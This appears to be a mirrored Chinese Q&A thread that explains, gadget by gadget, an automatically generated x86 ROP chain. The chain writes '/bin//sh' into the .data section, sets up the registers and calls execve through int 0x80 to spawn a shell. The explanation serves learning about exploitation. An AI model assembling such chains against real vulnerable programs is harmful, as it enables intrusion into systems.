【问题标题】:Automatic exploitation via return oriented programming通过面向返回的编程自动利用
【发布时间】:2016-09-28 16:27:05
【问题描述】:

我需要帮助来理解这张图片中发生的事情:。

我没有看到 @ .data 指令与 mov dword ptr [edx], eax 结合完成的工作,特别是考虑到 edx 紧随其后。

【问题讨论】:

    标签: assembly x86


    【解决方案1】:

    简而言之,@ .data 行是指用于写入"/bin//sh" 字符串的可写内存,该字符串稍后会被执行。 .data 部分只是加载到内存中的可执行文件的可读/可写部分,通常用于存储全局变量。


    以下是 ROP 链工作原理的细分:

    pop edx ; ret
    @ .data
    

    这两个小工具将.data部分的地址弹出到edx中。

    pop eax ; ret
    '/bin'
    

    这些小工具弹出0x6e69622f,或/bin//sh 字符串的前四个字符到eax

    mov dword ptr [edx], eax ; ret
    

    那么这会将eax的内容写入地址edx;此时字符串的前四个字符已经写在.data部分的开头

    pop edx ; ret
    @ .data + 4
    
    pop eax ; ret
    '//sh'
    
    mov dword ptr [edx], eax ; ret
    

    这部分做完全相同的事情来写入字符串的接下来的四个字节

    pop edx ; ret
    @ .data + 8
    
    xor eax, eax ; ret
    
    mov dword ptr [edx], eax ; ret
    

    然后在字符串后面写入四个空字节以空终止它

    pop ebx ; ret
    @ .data
    

    这会得到ebx中字符串的地址

    pop ecx ; pop ebx ; ret
    @ .data + 8
    padding without overwrite ebx
    

    这会将.data+8 写入ecx 并将.data 写入ebx。 (注意这里的第三行是0x080f4060,我们可以看到和上面三行.data是同一个地址)

    pop edx ; ret
    @ .data + 8
    

    这会将.data+8 写入edx

    xor eax, eax ; ret
    inc eax ; ret
    inc eax ; ret
    inc eax ; ret
    inc eax ; ret
    inc eax ; ret
    inc eax ; ret
    inc eax ; ret
    inc eax ; ret
    inc eax ; ret
    inc eax ; ret
    inc eax ; ret
    

    这会将11 写入eax

    int 0x80
    

    这会在 Linux 上执行系统调用。 Here 是了解系统调用的绝佳资源。我们看到eax为11(0xb)时,是对execve的调用,定义如下:

    int execve(const char *filename, char *const argv[], char *const envp[]);
    

    那么ebxfilenameecxargvedxenvp。此时ebx指向字符串/bin//shecxedx都是.data+8。它们都被视为字符串,但由于.data+8 包含空字节,ecxedx 是空字符串。所以调用本质上是execve("/bin//sh", "", "");

    【讨论】:

      猜你喜欢
      • 1970-01-01
      • 1970-01-01
      • 1970-01-01
      • 1970-01-01
      • 2016-12-04
      • 2021-08-29
      • 1970-01-01
      • 2021-05-28
      • 1970-01-01
      相关资源
      最近更新 更多